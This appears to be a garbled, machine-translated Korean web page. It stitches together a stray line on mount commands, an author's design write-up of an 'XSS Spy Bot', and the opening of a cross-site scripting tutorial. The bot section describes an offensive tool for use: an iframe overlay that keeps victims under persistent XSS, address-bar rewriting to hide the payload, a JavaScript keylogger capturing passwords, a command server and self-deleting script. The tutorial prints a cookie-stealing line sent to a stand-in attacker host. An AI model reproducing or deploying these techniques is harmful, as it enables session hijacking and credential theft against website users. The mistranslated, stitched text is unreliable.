마운트는 파일 시스템 유형을 나타냅니다. 마운트 및 마운트 해제 명령

공격자는 XSS를 사용하여 피해자에게 쿠키를 보내고, CSRF 토큰을 읽고, 피싱 공격을 수행하고(가짜 로그인 양식을 생성하여) 사용자를 대신하여 일부 작업을 수행하고, 다른 유사한 공격(아마도 이것이 모든 가능성이 있는 것은 아니지만 현재 나에게 알려진 가장 인기 있는 공격은 모두입니다).

이 방법의 목적은 사용자를 대신하여 공격받은 사이트에서 탐색하는 페이지를 모니터링하고 사용자의 키 입력을 모니터링하는 것입니다(마우스 움직임과 클릭을 사용할 수도 있지만 나에게는 이것이 불필요하고 특별히 유용하지 않습니다). 정보는 대부분의 경우 확실합니다).
이제 최대 이점에 관해 - 알고리즘은 다음과 같을 것이라고 생각합니다.

  • 쿠키를 읽고 보냅니다.
  • 나머지 정보(IP 주소, 설치된 플러그인, 브라우저 버전 및 유형, 플래시 지원, Silverlight 지원 등)를 읽고 보냅니다. [선택 사항]
  • 내부 네트워크에 대한 정보 획득, 라우터 침투 [선택 사항]
  • 다른 토큰을 읽고 보냅니다. [선택 사항];
  • 피싱 구현 [선택 사항];
  • 우리는 "사용자의 손으로" 뭔가를 합니다 [선택 사항];
  • 우리는 그가 탭을 닫거나 사이트를 떠날 때까지 계속해서 그를 염탐하고 정보를 얻습니다.

모든 선택적 목록 항목 IMHO는 XSS를 사용하여 달성해야 하는 목표에 대한 상황 및 특정 우선 순위에 따라 수행되어야 하며 때로는 서로 간섭할 수 있습니다(결합하려고 하거나 하나씩 실행하는 경우). XSS 작업이 실패할 가능성이 높아집니다.
그러나 어떤 경우에도 첫 번째와 마지막 항목은 항상 충족되어야 합니다.실제로 기사의 주요 부분은 이 목록의 마지막 항목에 관한 것입니다.

우리는 목표에 접근하고 있습니다.

멀리서부터 시작하겠습니다. JavaScript를 통해 페이지를 다시 로드하지 않고도 주소 표시줄의 경로를 변경할 수 있습니다. 예를 들어, 사용자가 페이지를 로드한 경우


그러면 주소 표시줄의 내용은 다음과 같습니다(페이지를 다시 로드하지 않음).

http: //site.com/new-url/


그런데 이 기능은 사용자가 Reflected XSS가 포함된 링크를 클릭한 후 URL을 빠르게 정리하여 사용자(또는 좀 더 세심한 사용자 범주인 관리자)로부터 숨겨야 할 때 매우 유용합니다. 페이지 로딩 후 주소 표시줄을 살펴봐도 아무 것도 나오지 않았습니다.

http : //site.com/search.php?q=123 문서 . 몸. innerHTML += "해킹됨" ;

http: //site.com/search.php?q=123 창. 역사. pushState ("" , "" , "/" ) ; 문서. 몸. innerHTML += "해킹됨" ;


우리는 그에게서 이 기회를 빼앗을 것이다.

하지만 이 기술에는 훨씬 더 흥미롭고 강력한 응용 프로그램이 있습니다. 우리는 링크를 클릭한 후 사용자가 사이트에 머무르는 것을 시뮬레이션할 것입니다. 실제로 사용자는 항상 한 페이지에 머물게 되며 이때 제3자 스크립트가 작동하여 정보를 추출하여 공격자에게 보냅니다. 따라서, XSS는 사용자가 이 도메인의 링크를 클릭하는 한 작동합니다. .

우리는 아이디어를 지정합니다.

일반적인 작동 원리는 다음과 같습니다. 사용자가 XSS가 있는 페이지에 들어가면 스크립트는 페이지와 동일한 주소를 가진 iframe을 생성하고 이를 전경에 "첨부"합니다. 사용자는 페이지가 정상적으로 로드되었다는 인상을 받습니다. iframe은 코드 페이지에서만 볼 수 있습니다.

그리고 보조 스크립트는 스파이 봇의 로직을 제어합니다. 즉, 주소 표시줄에서 변경하기 위해 프레임의 주소가 변경되는 시기를 모니터링하지만 새로 변경된 프레임 주소가 다른 도메인을 갖는 경우 열 수 있습니다. 그렇지 않으면 화상을 입지 않도록 페이지를 다시 로드해야 합니다.
따라서 XSS가 즉시 실행을 중지하려면 사용자가 페이지를 수동으로 새로 고쳐야 합니다(XSS가 반영되고 POST 메서드를 사용하여 전송된 경우 다른 경우에는 업데이트가 도움이 되지 않으며, 그런데 일부 이제 브라우저는 페이지를 업데이트할 때 POST 요청을 다시 보내거나 탭을 닫거나 다른 도메인으로 전환할 수 있습니다(이 경우 여전히 제어권을 잃지 않을 수 있음).

공격받은 도메인의 하위 도메인으로 이동하면 공격자의 선택입니다. 즉, XSS가 작동하지만 사용자가 주소 간의 불일치를 감지할 가능성은 적습니다. 상황에 따라 예를 들어 google.ru 도메인이 공격을 받은 경우 사용자는 일반적으로drive.google.ru 하위 도메인에 있는 Google의 클라우드 파일 서비스로 전환한 다음 주소창을 보면 캐치가 상당히 높은 편인데, 만약 그 사람이 이 서비스를 자주 이용했다면. 그렇지 않으면 위험을 감수할 수도 있습니다. 그러나 Cross Origin 정책이 허용하지 않기 때문에 하위 도메인이 있는 프레임에서 해당 데이터를 더 이상 읽을 수 없다는 점을 고려해야 합니다. 그러나 우리는 숨겨진 모드에서 메인 도메인을 대신하여 안전하게 서핑할 수 있습니다(자세한 내용은 아래 참조).

이 방법에만 제한이 있습니다. 즉, 사이트의 웹 서버 응답에 DENY 값이 있는 X-Frame-Options 헤더가 포함되어 있으면 작동하지 않습니다. 그러나 개인적으로 저는 그러한 사이트를 말 그대로 몇 번 접했는데, 이제는 그 중 절반조차 SAMEORIGIN 설정이 되어 있지 않으며, 부인하다.

아이디어를 분석해 보겠습니다.

이제 많은 사람들은 아마도 흥미로운 것들이 많이 있는 BeEF와 같은 멋진 것을 기억할 것입니다. 그런데 사용자가 프레임에서 강제로 리디렉션하도록 하는 옵션도 있지만 주소 표시줄의 주소는 변경되지 않아 책상이 빨리 소진될 수 있으며 이 옵션은 약간 다른 용도로 사용됩니다.
일반적으로 BeEF에는 필요한 거의 모든 기능과 많은 추가 기능이 있지만 개인적으로는 다음과 같은 추가 기능을 원했습니다.

  • 공격받은 사용자가 액세스할 수 있는 페이지의 코드를 실시간으로 모니터링하는 기능
  • 그가 해당 사이트에 입력하는 모든 것(로그인 및 비밀번호부터 단축키 및 메시지까지), 즉 JS의 키로거를 볼 수 있는 기능;
  • 수신된 페이지의 코드를 본 후 실시간으로 봇에 JS 명령을 제공하는 기능
  • 명령을 봇에 로컬로 남겨 나중에 직접 참여하지 않고도 명령을 "선택"하고 실행할 수 있는 기능;
  • 봇이 태워질 가능성이 낮거나 봇이 엿보는 눈으로부터 "숨길" 수 있는 능력;

위에서 언급한 대로 BeEF에서 명령 실행 대기열에 대한 멋진 아이디어를 차용하기로 결정했습니다. 예를 들어, 권한 있는 사용자가 저장된 XSS를 사용하여 자신의 제어판에 액세스할 때 봇이 삭제한 페이지를 분석하고 봇에 대한 명령을 남겨 둡니다. 예를 들어 사용자가 다음에 로그인할 때 이 버튼을 클릭하고 이 값을 쓰는 JS 코드입니다. 여기 등 , 다음에 이 사용자가 페이지를 방문하면 봇이 명령을 읽고 실행하므로 우리가 모든 것을 주도할 필요가 없습니다. 매우 편리합니다.

기본적으로 이러한 봇은 콘텐츠, 다른 사용자 등을 관리하기 위한 추가 "레버"가 있는 일부 사이트의 높은 지위 사용자를 위해 설계되었습니다. 기능에 대한 요청을 보면 서버 부분 없이는 할 수 없다는 것이 분명합니다.

아이디어를 구현해 보겠습니다.

원칙적으로 이 부분은 누군가가 스스로 리메이크하거나 사용자 정의하려는 경우를 대비하여 원하는 봇을 구현하는 프로세스와 일부 세부 정보를 간단히 설명하므로 이 부분을 건너뛸 수 있습니다. 봇에는 코드 시작 부분에 일부 설정을 지정할 수 있는 변수가 있습니다.
첫째, 로딩 순간부터 봇의 행동 알고리즘은 다음과 같습니다.

1) 헤더 유무 확인 X-프레임 옵션:거부(있는 경우 낚싯대를 굴립니다.)
2) 프레임을 삽입하고 봇의 모든 구성 요소를 설정합니다.
3) HTML 코드에서 스크립트와 모든 추적을 제거합니다.
4) 서버 부분과의 연결을 설정하고 데이터 전송을 시작하고 응답에 응답합니다(서버로부터 명령 수신).

첫 번째 사항은 완전히 완료되지 않았습니다. 즉, 봇은 첫 번째 페이지와 루트 헤더만 확인합니다. 사실 이러한 헤더는 일반적으로 모든 페이지에 대해 웹 서버에 의해 동시에 구축되며 단일 페이지에 대해 모든 것이 "수동"으로 수행되는 경우는 매우 드뭅니다. 그리고 이 제목 자체는 매우 드뭅니다. 글쎄, 두 번째와 세 번째에 대해서는 할 말이 많지 않으며 모든 것이 아래에 있습니다.

코드에 봇 스크립트 코드를 추가하기 전에 JS 코드에서 주소 표시줄의 XSS 기호를 즉시 제거해야 한다는 상대적으로 중요한 점이 있습니다. 이렇게 하면 탐지 가능성이 줄어들고 가장 중요한 것은 재귀를 방지할 수 있기 때문입니다. 이는 동일한 XSS 코드를 사용하여 프레임에 주소를 추가할 때 발생하며, 그 결과 자체적으로 다른 프레임이 생성되는 등의 현상이 발생합니다.

그러나 만약을 대비해 봇 코드는 이러한 프레임 재귀를 감지하고 이미 생성된 프레임에 프레임을 추가하려는 첫 번째 시도에서 이를 방지하는 기능을 구현하지만 이에 의존하지 않고 추가로 코드를 제거하는 것이 좋습니다 봇 코드를 로드하기 전에. 아직 아무런 문제가 발생하지 않았지만.

프레임 업데이트 확인 기능. 나는 이벤트 핸들러를 매달아 이 문제를 경제적으로 해결하기 위해 여러 가지 방법을 시도했습니다. 콘텐츠 창또는 내용문서, 그러나 아무것도 작동하지 않아서 프레임의 주소를 확인하고 이전에 저장된 것과 비교하고 이를 기반으로 프레임이 업데이트되는지(주소가 변경되었는지) 결정하는 함수를 작성해야 했습니다. 자신을 재귀적으로 호출합니다.

초당 이러한 확인 빈도는 변수에 의해 제어됩니다. 지연봇 코드 파일의 시작 부분에 나열됩니다. 그러나 나중에 이미 작성한 후에 더 효과적인 솔루션을 찾았습니다. 간단한 솔루션을 사용하고 중단하십시오. 길 위에프레임에 추가했기 때문에 해당 기능을 그대로 두었지만 나중에 수요가 더 많을 경우를 대비해 주석 처리했습니다.

페이지의 HTML 코드를 보냅니다.

여기의 구성표는 매우 간단합니다. 각 프레임을 다시 로드한 후(첫 번째 로드 포함) 봇은 현재 주소와 함께 페이지의 전체 HTML 코드를 서버에 전송하므로 나중에 코드가 원하는 코드에 속하는지 여부를 구별할 수 있습니다. 페이지.

서버는 페이지 저장 논리를 구현합니다. 서버는 이 도메인의 이름으로 각 도메인에 대한 폴더를 만들고 여기에 모든 데이터를 저장합니다. 페이지 코드는 저장되고 최신 버전으로 지속적으로 업데이트되지만, 필요한 경우 버전 기록을 제어할 수 있도록 매일 새로운 페이지 복사본이 생성됩니다. 그것은 /news.php 9월 1일에 상태가 업데이트되고, 9월 2일에 해당 날짜에만 관련된 복사본이 생성됩니다(사용자가 이 페이지를 매일 방문하는 경우). 페이지 이름은 사이트의 루트(즉, 도메인 제외)를 기준으로 이 페이지에 대한 날짜와 경로로 구성됩니다.

JavaScript의 키로거.

이 아이디어는 이미 일부 매니아에 의해 구현되었지만 그들의 작업은 나에게 적합하지 않았습니다. 왜냐하면 대부분이 매우 단순했기 때문입니다. 즉, 누른 키의 코드를 감지하고 이를 통해 문자열.fromCharCode기호로 번역됩니다. 그러나 이 방법에는 여러 가지 단점이 있습니다. Shift, Control, Space 등과 같은 제어 키는 어떤 형식으로도 변환되지 않으며(종종 단순히 빈 문자로 변환됨) Shift와 영숫자 키의 상호 작용이 잘못 기록됩니다. 프로그래밍 방식으로 구현해야 하며, 또한 누른 키는 모두 대문자로 표시되며 프로그래밍 방식으로 수정할 수도 있습니다.

그 결과 숫자, 문자 및 기본 문자의 모든 키를 올바르게 감지하고 두 레이아웃 모두에서 작동하며 Shift 키에 반응하고 모든 주요 특수 키를 기록하는 키로거가 탄생했습니다. 사실, 일부 문자(Shift와 숫자를 누를 때 인쇄되는 숫자 행의 맨 위에 있음)는 일부 회사에서 변경하는 기본 표준에 따라 구현되었기 때문에 일부 기계에서는 다를 수 있습니다.
누른 문자의 각 부분은 텍스트 요소가 포커스를 잃을 때까지 클라이언트에 의해 유지됩니다. 다음으로 이 부분은 서버로 전송되어 텍스트 파일로 저장됩니다. 이 파일도 매일 새 복사본으로 생성되므로 크기가 커지지 않고 사용자가 입력한 내용을 빠르게 찾을 수 있습니다. 그때에.
키 자체 외에도 텍스트가 입력된 요소에 대한 정보가 각 부분과 함께 서버로 전송됩니다. , [ 아니면 일부 사용자가 단축키를 사용한 경우) 요소 이름 외에도 해당 요소의 기본 데이터(ID, 이름, 클래스 - 존재하는 경우)가 전송되어 코드에서 쉽게 찾을 수 있습니다. 그리고 물론, 모집이 이루어진 페이지의 주소와 대략적인 모집 시간이 기록됩니다. 일반적으로 사용자의 키보드 탭에 대한 충분한 정보가 후속 분석을 위해 전송됩니다.

봇에게 명령을 내리세요.

이 프로세스는 공격자에 의해 수행되거나 봇이 서버 측을 실행하는 측에서 또는 심지어 원격으로 수행될 수도 있습니다. 서버 스크립트를 실행하면 웹 인터페이스를 통해 작동하는 봇과 해당 컨트롤러의 요청을 처리하는 자체 작성된 소형 웹 서버가 시작됩니다. 즉, 시작 후 웹 서버는 봇에 명령을 내릴 수 있는 링크를 발행합니다.

이 제어판에 대해. 첫째, 비밀번호로 제한해야 했습니다(해당 포트에서 실행 중인 서비스 또는 이 서비스를 사용하기 위해 이동해야 하는 주소에 대해 아는 경로와 사람은 거의 없습니다). 처음 로그인할 때 서버는 주소 표시줄에 제공되는 비밀번호를 요청합니다(예제가 제공됨). 원래 비밀번호는 다음 위치에 저장됩니다. 비밀번호.txt, 변경될 수 있습니다. 처음 로그인한 후 웹 서버는 브라우저에 비밀번호를 쿠키에 저장하도록 지시하므로 더 이상 걱정할 필요가 없습니다.

봇에 명령을 보내기 위한 페이지 자체에는 봇 상태에 대한 정보(현재 온라인인지 오프라인인지 여부)와 몇 가지 설정(첫 번째는 호스트, 즉 IP)에 대한 정보도 있습니다. 봇에 명령이 전송될 사이트의 주소 또는 도메인입니다. 여러 사이트에 이 봇이 포함되어 있는 경우 이를 식별할 수 있도록 설계되었습니다. 서버에서 이 경우에도 모든 데이터는 도메인 이름이 있는 폴더로 나뉩니다.
다음은 JS에서 봇에 명령을 작성할 수 있는 창과 이 JS 코드가 실행될 위치(봇이 있는 기본 창 또는 프레임)를 설정하는 옵션입니다. 이는 편의를 위해 수행됩니다. .

봇이 온라인 상태가 아닌 경우 서버는 단순히 명령을 저장하고 나중에 봇이 온라인 상태가 되면, 즉 사용자가 해당 페이지를 다시 방문하거나 공격자의 링크를 따라갈 때 이러한 명령이 실행됩니다.
첫 번째 정찰 중에 봇이 JS에서 명령을 작성한 코드를 연구한 후 사용자가 방문한 모든 페이지(예: 개인 계정)를 삭제하여 봇이 다음을 클릭하는 경우 매우 편리합니다. 필요한 링크, 필요한 데이터 입력, 필요한 사진 표시 등이 목표 달성에 도움이 됩니다.

또는 실시간으로 직접, 코드를 통해 페이지의 내용을 빠르게 보고 봇이 다른 페이지의 코드를 전송하고 다른 주소로 이동하도록 명령을 내릴 수 있습니다. 그리고 이 모든 작업은 "뒤에서" 수행됩니다. 화면'을 통해 사용자는 프레임을 통해 차분하게 사이트를 탐색하게 됩니다.

귀하의 편의를 위해 가장 자주 사용되는 지침을 JS의 전체 기능으로 구성한 다음 봇의 소스 파일( xsb.js, 아래의 파일 구조에 대해 자세히 알아보고 사용하세요. 또는 기본만 있고 새로운 것은 없지만 봇에 포함된 기능을 사용하십시오. 예를 들어 프레임을 다시 로드할 때가 아닌 언제든지 페이지 코드를 보내는 기능을 사용할 수 있습니다. 사용자를 대신하여 한 번에 여러 페이지의 내용을 보기 위해(그리고 사용자의 가상 손으로 이 내용을 조작하기 위해) 전달된 링크를 백그라운드의 새 프레임에서 여는 함수를 작성할 수 있습니다.

자신의 코드를 제거합니다.

음, 마지막 기능은 매우 간단하게 구현됩니다(파일에서 원하는 변수를 설정하여 비활성화할 수 있으며 주석 처리되어 있습니다). 스크립트는 모든 이벤트 핸들러를 설정 및 중단하고 모든 변수와 함수를 생성한 후 자체를 삭제합니다.

결국 모든 데이터는 이미 브라우저를 통해 RAM에 로드되었으므로 걱정할 필요가 없지만 이는 이론상일 뿐이고 나중에 고려하지 않은 문제가 발생할 수도 있으므로 변수를 만들었습니다. 필요에 따라 이 기능을 비활성화하는 데 사용할 수 있습니다.

모든 스크립트를 삭제한 후에는 프레임의 존재가 이를 간접적으로 나타내지 않고 코드 자체는 브라우저의 네트워크 트래픽 기록 로그(기본적으로 보관되지 않음)에서만 찾을 수 있기 때문에 XSS를 알아차리기가 매우 어렵습니다. 개발자 패널이 열려 있지 않은 경우 많은 브라우저에서).

서버 부분.

봇을 시작하는 더 간단하고 편리한 방법을 위해 소켓에 자체 소형 웹 서버를 작성하기로 결정했습니다. 이 웹 서버는 봇을 서비스하고, 전송된 데이터 수신 및 게시를 위한 모든 작업을 제공하고, 공격자와 봇 간에 메시지를 전송하고, 명령을 위해 공격자를 위한 웹 인터페이스를 생성합니다.
서버는 Python으로 작성되었으며 시작하기 전에 아무것도 설치할 필요가 없도록 표준 라이브러리만 사용하려고 했습니다. 또한 서버 자체는 스크립트의 일부 데이터를 편집합니다. 즉, 봇의 JS 스크립트에서는 명령 서버의 주소를 설정할 필요가 없으며 웹 서버 자체는 시작 시 필요한 주소를 설정합니다. 서버 구성에는 서버가 시작될 포트(기본값은 8000)라는 매개변수가 하나만 있습니다.
시작 후 서버는 편의를 위해 필요한 모든 데이터(슬립해야 하는 JS 스크립트에 대한 링크, 명령 패널에 대한 링크 또는 오히려 외부 및 로컬 주소에 대한 링크)를 제공합니다.

봇 작업 계획.

요청되지 않은 일부 포트에서 서버를 시작하고 봇 스크립트가 포함된 링크를 보낼 수 있습니다. 그러면 링크를 클릭하는 모든 사람이 하루 중 언제든지 서버에 저장할 데이터를 보내게 됩니다. 그런 다음 팀 봇을 떠나 자체 작업을 계속해야 하는 경우 간단히 볼 수 있습니다.

파일 구조.

폴더에는 다음 파일이 포함되어 있습니다.

  • xsb.py – 서버 부분을 구현하는 기본 파일입니다. 봇이 작동하려면 봇을 시작한 다음 제공되는 링크를 사용하세요.
  • xsb.js – 봇의 JS 코드가 여기에 저장되며 서버에서 제공하는 링크입니다. 구성 변수는 시작 부분에 선언되며 재량에 따라 변경할 수 있습니다(일부, 즉 호스트 및 포트, 서버는 나중에 자체적으로 설정되므로 걱정할 필요가 없습니다.)
  • panel.html – 여기에서 서버는 봇 제어판용 코드를 가져오며 재량에 따라 인터페이스를 조정할 수 있습니다.
  • 비밀번호.txt - 제어판의 비밀번호가 여기에 저장되며 변경할 수 있습니다.
  • saveData는 웹사이트 도메인이 포함된 폴더가 생성되고 모든 정보가 저장되는 디렉터리입니다.

파일에서 다시 한 번 말씀드리자면 xsb.js자신만의 함수를 추가한 다음 많은 양의 코드를 작성하지 않고도 패널을 통해 호출할 수 있습니다.

결과에 대한 간략한 분석.

프레임을 통해 XSS가 있는 페이지에 사용자를 유지하는 내 자신의 발명된 방법을 작성한 후(글쎄, 발명한 대로 - 개인적으로 그것을 스스로 발견했으며, 다른 사람이 스스로 이 동일한 기술을 "발명"했거나 이미 어딘가에 있을 가능성이 높습니다. 대중은 빛을 발했습니다. 이제는 완전히 새로운 것을 개발하는 것이 매우 어렵고 일반적으로 얼마 후 "이것이 이미 The Simpsons에 있었다"는 사실을 알게 되었기 때문입니다.) 저는 BeEF를 더 자세히 살펴보고 해당 위키를 읽기 시작했습니다. 그런 다음 동일한 목표를 달성하기 위해 다른 기술이 구현되어 있음을 발견했습니다. 즉, 실행 가능한 XSS(그들은 호출한 XSS)가 있는 페이지에서 사용자의 시간을 연장하는 것입니다. 브라우저 속 사람). 그리고 그것은 다음과 같이 구현되었습니다. 원본 페이지의 모든 링크는 사용자가 링크를 클릭하면 스크립트가 페이지를 다시 로드하지 않고 Ajax를 통해 서버에 요청을 보내고 데이터를 삽입하는 방식으로 변경되었습니다. 즉, 인위적으로 업데이트했다고 할 수 있는데, 이는 일반적인 다과와 거의 구별할 수 없는 수준이었습니다.

따라서 이 아이디어를 실현하는 데 처음으로 성공한 사람은 아닙니다. (방법이 다른 것으로 판명 되더라도). 하지만 이 두 가지 방법 모두 단점이 있습니다.

응답에 헤더가 있는 경우 via 로드 방법이 작동하지 않습니다. X-프레임 옵션:거부, 그렇지 않으면 일반 브라우저 창처럼 작동합니다.

ajax 방법은 브라우저가 지원하는 경우 항상 작동하지만(현재 모든 주요 브라우저에서 지원함) 새로운 Web 2.0 표준을 사용하면 JS를 통해 모든 요소의 사용자 정의 이벤트에 의해 점점 더 많은 전환이 트리거됩니다. 어느 날 나는 Google AdWords에 가서 HTML과 JS가 그곳에서 어떻게 상호 작용하는지 알아보기로 결정했습니다. 왜냐하면 모든 스파이더가 이 서비스의 백맵을 만드는 데 매우 서툴렀기 때문입니다. 텍스트 요소가 버튼, 전환기, 슬라이더이고 다른 모든 것과 함께 표시되고 각 요소에는 다양한 이벤트에 대한 약 30개의 핸들러가 있을 때 모든 것이 얼마나 특이한지 저녁 내내 조용히 놀랐습니다.

즉, 정교한 사이트에서는 전환 버튼(주관적으로는 링크)이 일반 태그를 통해 구현됩니다. , 스타일이 로드되고 이벤트 핸들러가 첨부됩니다. 그 중 하나는 예를 들어 다음과 같습니다. onclick은 사용자를 다른 페이지로 리디렉션합니다. [i]와 같은 표준 요소도 있습니다.아니면 그 자신 등은 실제로 다른 페이지에 대한 링크이기도 하지만 BeEF가 응답하지 않으며 대부분의 버튼과 기타 요소를 클릭해도 페이지가 업데이트되지 않습니다. 사용자에게 페이지를 새로 고치거나 다른 쪽에서 다시 들어가라는 메시지가 표시될 수 있으며 이로 인해 활성 XSS 세션이 종료됩니다.

파일 이름을 간결하게 지정하기 위해 Xss Spy Bot이라고 불렀습니다.

추신
주기적인 시간 부족과 끊임없는 방해로 인해 이 모든 작업을 작성하는 데 한 달 조금 넘게 걸렸습니다. 또한 이로 인해 코드 품질이 높고 일부 버그가 발생할 가능성이 상당히 높습니다. 그러니 너무 욕하지 마시고, 누군가에게 잘못된 점을 적어서 바로잡을 수 있도록 해주시기 바랍니다.
나는 4대의 컴퓨터에서만 봇을 테스트했는데, 모두 데비안을 실행했습니다.

동기가 있는 경우 이 봇에 대한 장기 계획:
– 봇이 서버에 보내는 페이지의 코드 렌더링을 구현하여 페이지가 브라우저에서 즉시 열리고 즉시 "터치"되고 테스트될 수 있도록 합니다.
– 그들은 WebRTC 기술로부터 몇 가지 이점을 얻으려고 노력할 것입니다. 즉, 순수 JS가 추출할 수 없는 새로운 정보를 얻는 방법을 찾으려고 노력할 것입니다.
– HTTP를 통한 WebSocket 프로토콜을 통해 봇과 서버 간의 통신을 구현합니다.
– 제어판에 몇 가지 편의를 추가합니다.

크로스 사이트 스크립팅에 대한 포괄적인 튜토리얼입니다.

1부: 개요 XSS란 무엇입니까?

교차 사이트 스크립팅( 영어 크로스 사이트 스크립팅)은 공격자가 다른 사용자의 브라우저에서 악성 JavaScript를 실행할 수 있도록 하는 코드 주입 공격입니다.

공격자는 피해자를 직접 공격하지 않습니다. 대신 피해자가 방문하는 웹사이트의 취약점을 악용해 악성 자바스크립트 코드를 주입한다. 피해자의 브라우저에서는 악성 자바스크립트가 웹사이트의 합법적인 부분으로 나타나며, 웹사이트 자체가 공격자의 직접적인 공범자 역할을 합니다.

악성 자바스크립트 코드 삽입

공격자가 피해자의 브라우저에서 악성 JavaScript를 실행하는 유일한 방법은 피해자가 웹 사이트에서 로드하는 페이지 중 하나에 이를 삽입하는 것입니다. 이는 웹사이트에서 사용자가 해당 페이지에 데이터를 입력할 수 있도록 허용하고 공격자가 피해자의 브라우저에서 코드의 일부로 감지될 문자열을 삽입할 수 있는 경우에 가능합니다.

아래 예는 사이트에 최신 댓글을 표시하는 데 사용되는 간단한 서버 측 스크립트를 보여줍니다.

인쇄 ""
"마지막 댓글:"을 인쇄하세요.
데이터베이스.최신댓글 인쇄
인쇄 ""

스크립트에서는 주석이 텍스트로만 구성되어 있다고 가정합니다. 그러나 직접적인 사용자 입력이 활성화되어 있으므로 공격자가 "..."라는 코멘트를 남길 수 있습니다. 이제 페이지를 방문하는 모든 사용자는 다음과 같은 응답을 받게 됩니다.


마지막 댓글:
...

사용자의 브라우저가 페이지를 로드하면 . 공격자는 공격을 성공적으로 수행했습니다.

악성 자바스크립트란 무엇인가요?

피해자의 브라우저에서 JavaScript를 실행하는 기능은 특별히 악의적인 것처럼 보이지 않을 수 있습니다. JavaScript는 사용자 및 운영 체제 파일에 대한 액세스가 극도로 제한된 매우 제한된 환경에서 실행됩니다. 실제로, 지금 당장 브라우저에서 JavaScript 콘솔을 열고 원하는 JavaScript를 실행할 수 있으며, 컴퓨터에 해를 끼칠 가능성은 거의 없습니다.

그러나 다음 사실을 고려하면 JavaScript 코드가 악성 코드로 작용할 가능성이 더욱 분명해집니다.

  • JavaScript는 쿠키와 같은 일부 민감한 사용자 정보에 액세스할 수 있습니다.
  • JavaScript는 XMLHttpRequest 및 기타 메커니즘을 사용하여 임의의 콘텐츠가 포함된 HTTP 요청을 어떤 방향으로든 보낼 수 있습니다.
  • JavaScript는 DOM 조작 기술을 사용하여 현재 페이지의 HTML 코드를 임의로 변경할 수 있습니다.

이러한 사실이 결합되면 매우 심각한 안전 위반이 발생할 수 있습니다. 자세한 내용은 다음과 같습니다.

악성 JavaScript 코드의 결과

또한, 다른 사용자의 브라우저에서 임의의 JavaScript를 실행할 수 있는 기능을 통해 공격자는 다음과 같은 유형의 공격을 수행할 수 있습니다.

쿠키 도난

공격자는 document.cookie 를 사용하여 피해자의 웹사이트 관련 쿠키에 접근하고 이를 자신의 서버로 보낸 후 이를 사용하여 세션 ID와 같은 민감한 정보를 추출할 수 있습니다.

키로거

공격자는 addEventListener를 사용하여 키보드 이벤트 리스너를 등록한 다음 사용자의 모든 키 입력을 서버로 보내 암호, 신용 카드 번호와 같은 민감한 정보를 잠재적으로 기록할 수 있습니다.

피싱

공격자는 DOM 조작을 사용하여 페이지에 가짜 로그인 양식을 삽입하고 양식의 작업 속성을 자체 서버로 설정한 다음 사용자를 속여 중요한 정보를 얻을 수 있습니다.

이러한 공격은 크게 다르지만 모두 한 가지 중요한 유사점을 가지고 있습니다. 즉, 공격자가 웹 사이트에서 제공하는 페이지에 코드를 삽입하기 때문에 악성 JavaScript가 해당 웹 사이트의 컨텍스트에서 실행됩니다. 이는 해당 사이트의 다른 스크립트처럼 취급된다는 의미입니다. 즉, 해당 웹사이트의 피해자 데이터(예: 쿠키)에 접근할 수 있으며 URL 표시줄에 표시되는 호스트 이름은 웹사이트의 호스트 이름과 동일합니다. 모든 목적에 있어서 스크립트는 웹사이트의 합법적인 부분으로 간주되어 웹사이트 자체에서 수행할 수 있는 모든 작업을 수행할 수 있습니다.

이 사실은 중요한 문제를 강조합니다.

공격자가 귀하의 웹사이트를 사용하여 다른 사용자의 브라우저에서 임의의 JavaScript 코드를 실행할 수 있는 경우 귀하의 웹사이트와 해당 사용자의 보안이 손상됩니다.

이 점을 강조하기 위해 이 튜토리얼의 일부 악성 스크립트 예제는 다음을 사용하여 자세히 설명하지 않습니다.... 이는 실제로 어떤 특정 스크립트 코드가 실행되고 있는지에 관계없이 공격자가 삽입하는 스크립트의 존재만으로도 문제가 된다는 것을 의미합니다.

2부: XSS 공격 XSS 공격 참가자

XSS 공격이 어떻게 작동하는지 자세히 설명하기 전에 XSS 공격과 관련된 행위자를 정의해야 합니다. 일반적으로 XSS 공격에는 웹사이트, 피해자, 공격자의 세 당사자가 있습니다.

  • 웹사이트는 요청한 사용자에게 HTML 페이지를 제공합니다. 우리의 예에서는 http://website/에 있습니다.
    • 웹사이트 데이터베이스는 사용자가 사이트 페이지에 입력한 데이터 중 일부를 저장하는 데이터베이스입니다.
  • 피해자는 브라우저를 사용하여 페이지를 요청하는 웹사이트의 일반 사용자입니다.
  • 공격자는 웹사이트의 XSS 취약점을 악용하여 피해자를 공격하려는 공격자입니다.
    • 공격자 서버는 공격자가 피해자의 기밀 정보를 훔칠 목적으로만 제어하는 ​​웹 서버입니다. 우리의 예에서는 http://attacker/에 있습니다.
공격 시나리오 예시


window.location="http://attacker/?cookie="+document.cookie

이 스크립트는 다른 URL에 대한 HTTP 요청을 생성하여 사용자의 브라우저를 공격자의 서버로 리디렉션합니다. URL에는 요청 매개변수로 피해자의 쿠키가 포함되어 있으며, 공격자의 서버에 HTTP 요청이 오면 공격자는 요청에서 이러한 쿠키를 추출할 수 있습니다. 공격자가 쿠키를 수신하면 이를 사용하여 피해자를 가장하고 후속 공격을 시작할 수 있습니다.

이제부터 위에 표시된 HTML 코드를 악성 문자열 또는 악성 스크립트라고 부르겠습니다. 문자열 자체는 궁극적으로 피해자의 브라우저에서 HTML로 렌더링되는 경우에만 악성이며 이는 웹 사이트에 XSS 취약점이 있는 경우에만 발생할 수 있다는 점을 이해하는 것이 중요합니다.

이 예시 공격의 작동 방식

아래 다이어그램은 공격자의 공격 예를 보여줍니다.

  • 공격자는 웹사이트의 양식 중 하나를 사용하여 웹사이트의 데이터베이스에 악성 문자열을 삽입합니다.
  • 피해자는 웹사이트에서 페이지를 요청합니다.
  • 사이트는 응답에 악성 데이터베이스 문자열을 포함하여 피해자에게 보냅니다.
  • 피해자의 브라우저는 응답 내에서 악성 스크립트를 실행하여 피해자의 쿠키를 공격자의 서버로 보냅니다.
  • XSS 유형

    XSS 공격의 목표는 항상 피해자의 브라우저에서 악성 JavaScript 스크립트를 실행하는 것입니다. 이 목표를 달성하는 데는 근본적으로 다른 여러 가지 방법이 있습니다. XSS 공격은 종종 세 가지 유형으로 나뉩니다.

    • 저장된(영구) XSS. 악성 문자열은 웹 사이트의 데이터베이스에서 유래됩니다.
    • 반사된(비지속적) XSS, 여기서 악성 문자열은 피해자의 요청에서 생성됩니다.
    • 서버 측 코드가 아닌 클라이언트 측 코드에서 취약점이 발생하는 XSS DOM.

